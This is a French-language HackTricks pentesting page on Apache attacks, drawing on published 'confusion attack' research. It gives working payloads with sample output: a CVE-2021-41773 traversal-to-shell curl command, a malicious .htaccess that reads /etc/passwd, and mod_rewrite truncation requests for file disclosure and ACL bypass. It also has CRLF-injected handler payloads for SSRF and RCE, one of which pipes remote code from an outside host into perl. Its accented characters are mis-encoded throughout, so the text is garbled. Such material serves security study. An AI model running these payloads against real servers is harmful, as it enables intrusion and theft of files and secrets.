Apache
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Extensions PHP exécutables
Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter :
grep -R -B1 "httpd-php" /etc/apache2
De plus, quelques endroits oĂč vous pouvez trouver cette configuration sont :
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
LFI via .htaccess ErrorDocument file provider (ap_expr)
Si vous pouvez contrĂŽler le .htaccess dâun rĂ©pertoire et quâAllowOverride inclut FileInfo pour ce chemin, vous pouvez transformer les rĂ©ponses 404 en lectures arbitraires de fichiers locaux en utilisant la fonction ap_expr file() Ă lâintĂ©rieur dâErrorDocument.
- Exigences :
- Apache 2.4 avec expression parser (ap_expr) activé (par défaut en 2.4).
- Le vhost/dir doit permettre à .htaccess de définir ErrorDocument (AllowOverride FileInfo).
- Lâutilisateur worker dâApache doit avoir les permissions de lecture sur le fichier cible.
.htaccess payload:
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
Se dĂ©clenche en demandant nâimporte quel non-existing path sous ce directory, par exemple lors de lâabus de userdir-style hosting :
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
Notes et conseils :
- Seuls les chemins absolus fonctionnent. Le contenu est renvoyé comme corps de réponse par le handler 404.
- Les permissions de lecture effectives sont celles de lâutilisateur Apache (typiquement www-data/apache). Vous ne pourrez pas lire /root/* ni /etc/shadow dans des configurations par dĂ©faut.
- MĂȘme si .htaccess appartient Ă root, si le rĂ©pertoire parent appartient au tenant et permet le renommage, il se peut que vous puissiez renommer le .htaccess original et tĂ©lĂ©verser votre propre remplacement via SFTP/FTP :
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Utilisez cela pour lire le code source de lâapplication sous DocumentRoot ou les chemins de config vhost afin de rĂ©cupĂ©rer des secrets (DB creds, API keys, etc.).
Confusion Attack
Ces types dâattaques ont Ă©tĂ© introduits et documentĂ©s by Orange in this blog post et ce qui suit en est un rĂ©sumĂ©. Lâattaque dite âconfusionâ exploite essentiellement le fait que les dizaines de modules qui fonctionnent ensemble pour crĂ©er un Apache ne sont pas parfaitement synchronisĂ©s : si certains dâentre eux modifient des donnĂ©es inattendues, cela peut provoquer une vulnĂ©rabilitĂ© dans un module ultĂ©rieur.
Filename Confusion
Truncation
Le mod_rewrite tronque le contenu de r->filename aprĂšs le caractĂšre ? (modules/mappers/mod_rewrite.c#L4141). Ce nâest pas totalement incorrect car la plupart des modules traiteront r->filename comme une URL. Mais dans dâautres cas, cela sera traitĂ© comme un chemin de fichier, ce qui poserait un problĂšme.
- Path Truncation
Il est possible dâabuser de mod_rewrite comme dans lâexemple de rĂšgle suivant pour accĂ©der Ă dâautres fichiers du systĂšme de fichiers, en supprimant la derniĂšre partie du chemin attendu en ajoutant simplement un ? :
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
#Â the output of file `/var/user/orange/secret.yml`
- Mislead RewriteFlag Assignment
Dans la rĂšgle de réécriture suivante, tant que lâURL se termine par .php elle sera traitĂ©e et exĂ©cutĂ©e en tant que php. Par consĂ©quent, il est possible dâenvoyer une URL qui se termine par .php aprĂšs le caractĂšre ? tout en chargeant dans le chemin un type de fichier diffĂ©rent (comme une image) contenant du code php malveillant :
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
Il est possible dâaccĂ©der Ă des fichiers auxquels lâutilisateur ne devrait pas avoir accĂšs, mĂȘme si lâaccĂšs devrait ĂȘtre refusĂ© par des configurations comme :
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Cela sâexplique parce que, par dĂ©faut, PHP-FPM recevra les URLs se terminant par .php, comme http://server/admin.php%3Fooo.php et parce que PHP-FPM supprime tout ce qui suit le caractĂšre ?, lâURL prĂ©cĂ©dente permettra de charger /admin.php mĂȘme si la rĂšgle prĂ©cĂ©dente lâinterdisait.
Confusion autour de DocumentRoot
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Un fait amusant Ă propos dâApache est que la réécriture prĂ©cĂ©dente essaiera dâaccĂ©der au fichier Ă la fois depuis le documentRoot et depuis root. Donc, une requĂȘte vers https://server/abouth.html vĂ©rifiera le fichier dans /var/www/html/about.html et /about.html dans le systĂšme de fichiers. Ce qui peut essentiellement ĂȘtre abusĂ© pour accĂ©der Ă des fichiers dans le systĂšme de fichiers.
Divulgation du code source cÎté serveur
- Divulguer le code source CGI
Il suffit dâajouter %3F Ă la fin pour leak le code source dâun module cgi :
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Disclose PHP Source Code
Si un serveur possĂšde plusieurs domaines, dont lâun est un domaine statique, cela peut ĂȘtre exploitĂ© pour traverser le systĂšme de fichiers et leak php code:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Manipulation des gadgets locaux
Le principal problĂšme de lâattaque prĂ©cĂ©dente est que, par dĂ©faut, la plupart des accĂšs au systĂšme de fichiers seront refusĂ©s comme dans Apache HTTP Serverâs configuration template:
<Directory />
AllowOverride None
Require all denied
</Directory>
Cependant, les systĂšmes dâexploitation Debian/Ubuntu autorisent par dĂ©faut /usr/share :
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Par consĂ©quent, il serait possible dâabuser des fichiers situĂ©s dans /usr/share dans ces distributions.
Gadget local pour divulgation dâinformations
- Apache HTTP Server avec websocketd peut exposer le script dump-env.php Ă /usr/share/doc/websocketd/examples/php/, ce qui peut leak des variables dâenvironnement sensibles.
- Des serveurs avec Nginx ou Jetty peuvent exposer des informations sensibles dâapplications web (par ex., web.xml) via leurs rĂ©pertoires web par dĂ©faut placĂ©s sous /usr/share :
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Gadget local vers XSS
- Sur Ubuntu Desktop avec LibreOffice installĂ©, exploiter la fonctionnalitĂ© de changement de langue des fichiers dâaide peut conduire Ă du Cross-Site Scripting (XSS). Manipuler lâURL Ă /usr/share/libreoffice/help/help.html peut rediriger vers des pages malveillantes ou des versions plus anciennes via une RewriteRule non sĂ©curisĂ©e.
Gadget local vers LFI
- Si PHP ou certains packages front-end tels que JpGraph ou jQuery-jFeed sont installĂ©s, leurs fichiers peuvent ĂȘtre exploitĂ©s pour lire des fichiers sensibles comme /etc/passwd :
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Gadget local vers SSRF
- Lâutilisation de magpie_debug.php de MagpieRSS Ă /usr/share/php/magpierss/scripts/magpie_debug.php peut facilement crĂ©er une vulnĂ©rabilitĂ© SSRF, ouvrant la voie Ă dâautres exploits.
Gadget local vers RCE
- Les opportunitĂ©s dâexĂ©cution de code Ă distance (RCE) sont nombreuses, avec des installations vulnĂ©rables comme une version obsolĂšte de PHPUnit ou phpLiteAdmin. Celles-ci peuvent ĂȘtre exploitĂ©es pour exĂ©cuter du code arbitraire, illustrant le potentiel Ă©tendu de la manipulation de gadgets locaux.
Jailbreak depuis des gadgets locaux
Il est aussi possible de faire un jailbreak à partir des dossiers autorisés en suivant des symlinks générés par des logiciels installés dans ces dossiers, tels que :
- Cacti Log:
/usr/share/cacti/site/->/var/log/cacti/ - Solr Data:
/usr/share/solr/data/->/var/lib/solr/data - Solr Config:
/usr/share/solr/conf/->/etc/solr/conf/ - MediaWiki Config:
/usr/share/mediawiki/config/->/var/lib/mediawiki/config/ - SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/->/etc/simplesamlphp/
De plus, en abusant des symlinks, il a Ă©tĂ© possible dâobtenir une RCE dans Redmine.
Confusion des handlers
Cette attaque exploite le chevauchement fonctionnel entre les directives AddHandler et AddType, qui peuvent toutes deux ĂȘtre utilisĂ©es pour activer le traitement PHP. Ă lâorigine, ces directives affectaient diffĂ©rents champs (r->handler et r->content_type respectivement) dans la structure interne du serveur. Cependant, Ă cause dâun code hĂ©ritĂ©, Apache traite ces directives de maniĂšre interchangeable dans certaines conditions, en convertissant r->content_type en r->handler si le premier est dĂ©fini et le second ne lâest pas.
De plus, dans Apache HTTP Server (server/config.c#L420), si r->handler est vide avant lâexĂ©cution de ap_run_handler(), le serveur utilise r->content_type comme handler, rendant effectivement AddType et AddHandler identiques en effet.
Ăcraser le handler pour divulguer le code source PHP
Dans cette prĂ©sentation, une vulnĂ©rabilitĂ© a Ă©tĂ© exposĂ©e oĂč un Content-Length incorrect envoyĂ© par un client peut amener Apache Ă retourner par erreur le code source PHP. Cela Ă©tait dĂ» Ă un problĂšme de gestion dâerreur avec ModSecurity et lâApache Portable Runtime (APR), oĂč une double rĂ©ponse conduit Ă Ă©craser r->content_type en text/html.
Parce que ModSecurity ne gĂšre pas correctement les valeurs de retour, il retournerait le code PHP au lieu de lâinterprĂ©ter.
Ăcraser le handler vers XXXX
TODO: Orange nâa pas encore divulguĂ© cette vulnĂ©rabilitĂ©
Invoquer des handlers arbitraires
Si un attaquant parvient Ă contrĂŽler lâen-tĂȘte Content-Type dans une rĂ©ponse serveur, il pourra invoquer des handlers de modules arbitraires. Cependant, au moment oĂč lâattaquant contrĂŽle cela, la majeure partie du traitement de la requĂȘte sera dĂ©jĂ effectuĂ©e. Il est toutefois possible de relancer le processus de requĂȘte en abusant de lâen-tĂȘte Location car si le Status retournĂ© est 200 et que lâen-tĂȘte Location commence par /, la rĂ©ponse est traitĂ©e comme une redirection cĂŽtĂ© serveur et doit ĂȘtre retraitĂ©e
Selon RFC 3875 (spécification sur CGI) dans Section 6.2.2 il est défini le comportement de Local Redirect Response :
Le script CGI peut renvoyer un chemin URI et une chaĂźne de requĂȘte (âlocal-pathqueryâ) pour une ressource locale dans un champ dâen-tĂȘte Location. Cela indique au serveur quâil doit retraiter la requĂȘte en utilisant le chemin spĂ©cifiĂ©.
Par consĂ©quent, pour rĂ©aliser cette attaque, lâune des vulnĂ©rabilitĂ©s suivantes est nĂ©cessaire :
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
Handler arbitraire vers divulgation dâinformations
Par exemple /server-status ne devrait ĂȘtre accessible quâen local :
<Location /server-status>
SetHandler server-status
Require local
</Location>
Il est possible dây accĂ©der en dĂ©finissant le Content-Type sur server-status et lâen-tĂȘte Location commençant par /.
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Du Handler arbitraire au SSRF complet
Redirection vers mod_proxy pour accĂ©der Ă nâimporte quel protocole sur nâimporte quelle URL :
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Cependant, lâen-tĂȘte X-Forwarded-For est ajoutĂ©, empĂȘchant lâaccĂšs aux points de terminaison des mĂ©tadonnĂ©es cloud.
Handler arbitraire pour accéder au Unix Domain Socket local
Accéder au Unix Domain Socket local de PHP-FPM pour exécuter une backdoor PHP située dans /tmp/ :
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Arbitrary Handler to RCE
Lâimage officielle PHP Docker inclut PEAR (Pearcmd.php), un outil de gestion de paquets PHP en ligne de commande, qui peut ĂȘtre abusĂ© pour obtenir RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Consultez Docker PHP LFI Summary, écrit par Phith0n pour les détails de cette technique.
Références
- https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
- Apache 2.4 Custom Error Responses (ErrorDocument)
- Apache 2.4 Expressions and functions (file:)
- HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


